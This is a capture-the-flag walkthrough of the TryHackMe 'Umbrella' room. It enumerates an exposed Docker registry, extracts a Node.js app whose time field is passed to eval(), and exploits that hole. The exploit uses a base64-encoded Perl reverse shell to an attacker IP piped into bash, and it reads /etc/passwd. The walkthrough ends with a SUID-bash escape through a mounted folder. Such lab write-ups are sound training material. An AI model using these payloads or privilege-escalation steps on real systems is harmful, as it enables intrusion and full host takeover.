# Umbrella

{% embed url="<https://tryhackme.com/room/umbrella>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

## Recon

We start with a Nmap scan and discover four open ports. On port 22 SSH, on port 3306 we have access to a MySQL database, on port 5000 a Docker registry connection, and on port 8080 an HTTP server running `Node.js`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FyaAkp8VtJKmrpVxZyEHL%2Fgrafik.png?alt=media&#x26;token=c215ff92-197d-4282-a51a-3d25e35c4d3d" alt=""><figcaption></figcaption></figure>

When visiting the website on port 8080 we only have a login page available. Unfortunately, Gobuster did not provide any further directories. So let's continue.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBOgmz3eHaGNqAlvzLncV%2Fgrafik.png?alt=media&#x26;token=664c50f4-285f-4d4d-bb9d-1a2bf88b2836" alt=""><figcaption></figcaption></figure>

Next, we focus on the Docker registry that is exposed on port 5000.

> A **Docker registry** is a storage and distribution system for named Docker images. The same image might have multiple different versions, identified by their tags.\
> A Docker registry is organized into **Docker repositories** , where a repository holds all the versions of a specific image. The registry allows Docker users to pull images locally, as well as push new images to the registry (given adequate access permissions when applicable).

Hacktricks provides us with all kinds of ways to enumerate this:

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/5000-pentesting-docker-registry>" %}

We use cURL to enumerate and find all kinds of useful information. We see it is configured for HTTP. Furthermore, we display the available repositories via `_catalog`. The repository `umbrella/timetracking` is available to us.

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/umbrella]
└─$ curl -s http://umbrella.thm:5000/v2/_catalog
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDv03ugK2UBSaJxoE255A%2Fgrafik.png?alt=media&#x26;token=48b08d86-3699-4944-9441-2083511741e9" alt=""><figcaption></figcaption></figure>

Next, we pull the tags of the `umbrella/timetracking` repository and get the tag latest.

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/umbrella]
└─$ curl -s http://umbrella.thm:5000/v2/umbrella/timetracking/tags/list
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FLDxJKxckWbQM31U4SWy9%2Fgrafik.png?alt=media&#x26;token=f167be09-238a-439a-ad5c-f9ab3ddbb747" alt=""><figcaption></figcaption></figure>

With the tag and the repository, we can now pull the manifests. Inside the manifest is the history and the blobs used by Docker. The history refers to the commands or instructions that were used to build each layer of the Docker image. The blobs refer to binary large objects, which are essentially the individual layers that compose a Docker image.

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/umbrella]
└─$ curl -s http://umbrella.thm:5000/v2/umbrella/timetracking/manifests/latest
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Ff4vtUw2VHcBW5YOqguhg%2Fgrafik.png?alt=media&#x26;token=0af3c1ca-ce1c-494d-8449-4678fbcf0759" alt=""><figcaption></figcaption></figure>

In the first entry of the history, we see the database password used, and can also answer the first question of the room.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkRioHtknvWI25rmGbwUN%2Fgrafik.png?alt=media&#x26;token=777475ba-c491-4dda-8905-06c001537779" alt=""><figcaption></figcaption></figure>

We log in to the database with the credentials from the history and find credentials for `claire-r`, `chirs-r`, `jill-r` and `barry-b`. Those are MD5 encoded and can easily be cracked via hashcat for example. \
`hashcat -a 0 -m 0 hashes /usr/share/wordlist/rockyou.txt`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqeLxqXED6aILes9So70F%2Fgrafik.png?alt=media&#x26;token=a9cb4924-d290-4b9b-8ca7-2b9417e018e9" alt=""><figcaption></figcaption></figure>

## Foothold

I have divided this section into two parts, as we need two footholds for the rest of the challenge. The first part shows how the challenge should actually be solved in terms of the sequence of events. Unfortunately, I had entered the credentials manually when enumerating and mistyped a password and thus only focused on Part II initially. But first, move on to Part I.

### Part I

Since we have credentials, we can try them out not only directly on the website but also with SSH access. With the creds from `claire-r` we have access to both the time tracking app on 8080...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYqzv4UdquUJWwiIyHtzL%2Fgrafik.png?alt=media&#x26;token=273dce20-2402-4109-bba6-cb28c3b492c9" alt=""><figcaption></figcaption></figure>

... as well as access to the machine via SSH. We are the user `claire-r` and find the first flag in the user's home directory.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzmHhSLCkTZasljxeaUoj%2Fgrafik.png?alt=media&#x26;token=005ba30f-8508-4331-9f37-4a8473ff39f6" alt=""><figcaption></figcaption></figure>

In the `timeTracker-src` directory, we find the sources for the app on port 8080. We can see that this is set up via a Docker container. We could now look in `app.js` to see exactly how the app works and identify a vulnerability there. However, we will deal with this in Part II. Because it is also possible to get a view on `app.js` without access via `claire-r`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcgVDU6M76ZcmoIS5tH7Z%2Fgrafik.png?alt=media&#x26;token=7c9c3c1c-e516-4102-99e2-a755009998ff" alt=""><figcaption></figcaption></figure>

Inside the Docker compose file, we see that the `/logs` folder is mounted. That might be interesting later. Seeing this after already having exploited 8080, the way of thinking could be about a misconfigured Docker Container running the application. So, the next steps could therefore be to get a foothold over 8080 and escalated our privileges from the vulnerable Docker container. And that is exactly what we will do.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FceosejGF9WFKgFezDuVD%2Fgrafik.png?alt=media&#x26;token=c3002e78-2c3b-49b3-a0df-02d592d55084" alt=""><figcaption></figcaption></figure>

### Part II

We log in to the website with the `claire-r` credentials. We see a time entry tool with the option of using mathematical operations to update our tracked times. When we enter a numerical value, the time spent value increases.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FajVRXubsL5ea1tcwawfR%2Fgrafik.png?alt=media&#x26;token=0a64b32f-fe8a-459f-92e6-e647079a4721" alt=""><figcaption></figcaption></figure>

We go back a few steps and remember the manifests file. From this, we can pull the blobs via `curl http://umbrella.thm:5000/v2/umbrella/timetracking/blobs/sha256:<HASH> -o a.tar`. We can then unpack these via `tar -xf tar.a`. It is important here that the extracted files are overwritten when unpacking multiple blobs. So to avoid confusion, we delete the extracted blob before pulling a new one.

With the following hash, we get access to `app.js`.

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/umbrella/blob]
└─$ curl http://umbrella.thm:5000/v2/umbrella/timetracking/blobs/sha256:c9124d8ccff258cf42f1598eae732c3f530bf4cdfbd7c4cd7b235dfae2e0a549 --output a.tar
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1428  100  1428    0     0  16241      0 --:--:-- --:--:-- --:--:-- 16413
                                                                                                                                                   
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/umbrella/blob]
└─$ tar -xf a.tar
```

Here, we notice in line 71 `let timeCalc = parseInt(eval(request.body.time));` that the entered time value is evaluated using `eval()`. Here we have our entry point for injecting our own commands.

{% code title="app.js" lineNumbers="true" %}

```javascript
const mysql = require('mysql');
const express = require('express');
const session = require('express-session');
const path = require('path');
const crypto = require('crypto')
const cookieParser = require('cookie-parser');
const fs = require('fs');

const connection = mysql.createConnection({
        host     : process.env.DB_HOST,
        user     : process.env.DB_USER,
        password : process.env.DB_PASS,
        database : process.env.DB_DATABASE
});

const app = express();
app.set('view engine' , 'ejs')
app.set('views', './views')
app.use(express.static(__dirname + '/public'));
app.use(express.json());
app.use(express.urlencoded({ extended: true }));

app.use(cookieParser());
app.use(session({secret: "Your secret key", cookie : {secure : false}}));

var logfile = fs.createWriteStream(process.env.LOG_FILE, {flags: 'a'});

var log = (message, level) => {
        format_message = `[${level.toUpperCase()}] ${message}`;
        logfile.write(format_message + "\n")
        if (level == "warn") console.warn(message)
        else if (level == "error") console.error(message)
        else if (level == "info") console.info(message)
        else console.log(message)
}

// http://localhost:8080/
app.get('/', function(request, response) {

        if (request.session.username) {

                connection.query('SELECT user,time FROM users', function(error, results) {
                        var users = []
                        if (error) {
                                log(error, "error")
                        };

                        for (let row in results){

                                let min = results[row].time % 60;
                                let padded_min = `${min}`.length == 1 ? `0${min}` : `${min}`
                                let time = `${(results[row].time - min) / 60}:${padded_min} h`;
                                users.push({name : results[row].user, time : time});
                        }
                        response.render('home', {users : users});
                });

        } else{
                response.render('login');
        }

});



// http://localhost:8080/time
app.post('/time', function(request, response) {

    if (request.session.loggedin && request.session.username) {

        let timeCalc = parseInt(eval(request.body.time));
                let time = isNaN(timeCalc) ? 0 : timeCalc;
        let username = request.session.username;

                connection.query("UPDATE users SET time = time + ? WHERE user = ?", [time, username], function(error, results, fields) {
                        if (error) {
                                log(error, "error")
                        };

                        log(`${username} added ${time} minutes.`, "info")
                        response.redirect('/');
                });
        } else {
        response.redirect('/');;
    }

});

// http://localhost:8080/auth
app.post('/auth', function(request, response) {

        let username = request.body.username;
        let password = request.body.password;

        if (username && password) {

                let hash = crypto.createHash('md5').update(password).digest("hex");

                connection.query('SELECT * FROM users WHERE user = ? AND pass = ?', [username, hash], function(error, results, fields) {

                        if (error) {
                                log(error, "error")
                        };

                        if (results.length > 0) {

                                request.session.loggedin = true;
                                request.session.username = username;
                                log(`User ${username} logged in`, "info");
                                response.redirect('/');
                        } else {
                                log(`User ${username} tried to log in with pass ${password}`, "warn")
                                response.redirect('/');
                        } 
                });
        } else {
                response.redirect('/');
        } 

});

app.listen(8080, () => {
        console.log("App listening on port 8080")
});

```

{% endcode %}

We try out the payloads on the following page (An excellent resource on `Node.js` Command Injection Payloads):

{% embed url="<https://github.com/aadityapurani/NodeJS-Red-Team-Cheat-Sheet>" %}

With `arguments[1].end(require('child_process').('cat /etc/passwd'))`  we are able to retrieve the `/etc/passwd` file.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FA2KLogpylF86Jq8UxOkH%2Fgrafik.png?alt=media&#x26;token=6205e2e0-b25a-492c-9218-0445396fa89f" alt=""><figcaption></figcaption></figure>

After a good batch of payloads, only Perl worked. To avoid bad characters, we encode the payload as base64.

```
perl -e 'use Socket;$i="10.8.211.1";$p=4445;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
```

Our payload, then, looks like the following:

```
require('child_process').execSync('echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTAuOC4yMTEuMSI7JHA9NDQ0NTtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9Oyc= | base64 -d | bash')
```

With that, we are able to gain a reverse shell on the Docker container, and we are directly root on the container. This begs for a specific privilege escalation on Docker. \
But to be fair, after initially getting access, the main idea was to escape from the container to a user on the host (not having the SSH access).

Not much could be done in the Container, usual binaries like `ps` were not available.

{% hint style="info" %}
Which may be helpful in other challenges:&#x20;

In order to somehow still be able to enumerate with the usual scripts, I base64 encoded them and wrote them directly to a file, which I then decoded and wrote the contents to a script file afterwards. Then I had to remove carriage returns. But this is not practicable for binaries.

`$> cat <<EOF > b64.txt`\
`BASE64_INPUT` \
`EOF`&#x20;

`$> base64 -d 64.txt > script.sh`&#x20;

`$> sed -i -e 's/\r$//' script.sh`&#x20;

`$> chmod +x script.sh`
{% endhint %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAPXMiZ3RkEMvGllRDh9O%2Fgrafik.png?alt=media&#x26;token=8b09832a-9d68-409f-8eb3-b8698fcec7bb" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

In the root directory, we find the folder `/logs`. This was very interesting from the start, even without knowing that `claires-r`'s home directory belongs to `UID 1001`. One that is not present on the Docker container.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FaILm69OEX6VStqUucN3W%2Fgrafik.png?alt=media&#x26;token=8506df3a-4879-4339-a524-22aed4510952" alt=""><figcaption></figcaption></figure>

To confirm that this is the log directory from `clair-r` we look at the contents and could also create a file in there.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCFUNPXWSzY1vjMi85lAf%2Fgrafik.png?alt=media&#x26;token=a982747c-5799-4e68-8d2a-1d3234fd8bcc" alt=""><figcaption></figcaption></figure>

Inboth we found the `tt.log`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FaiotT16mSgZqa2bvvAK5%2Fgrafik.png?alt=media&#x26;token=7c20863c-9930-4348-a915-51f8c922937b" alt=""><figcaption></figcaption></figure>

We make use of the following privilege escalation technique:

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells-and-host-mount>" %}

> If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\
> You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc.

```
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```

We copy `/bin/bash` to `/home/claire-r/timeTracker/logs` as `claire-r` session.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FwY7iXixzpL7niEQWZPag%2Fgrafik.png?alt=media&#x26;token=227ca9da-e568-468e-82ad-fa6b0a3bd478" alt=""><figcaption></figcaption></figure>

Next, we modify the permissions inside the container, since we are root.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fl3trWrJmHo5jY9Rvva16%2Fgrafik.png?alt=media&#x26;token=8c7e6a7e-7e12-4562-ae10-4b33102ce026" alt=""><figcaption></figcaption></figure>

Now we have a SUID bash binary, owned by root in `/log`. After executing `/bin/bash -p` as `claire-r` we get a root shell and have access to the final flag in `/root`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fu5LrHJBxsagq3NrIKAOq%2Fgrafik.png?alt=media&#x26;token=dd274e9b-7806-49c5-bac6-81b3e9cfbc5f" alt=""><figcaption></figcaption></figure>
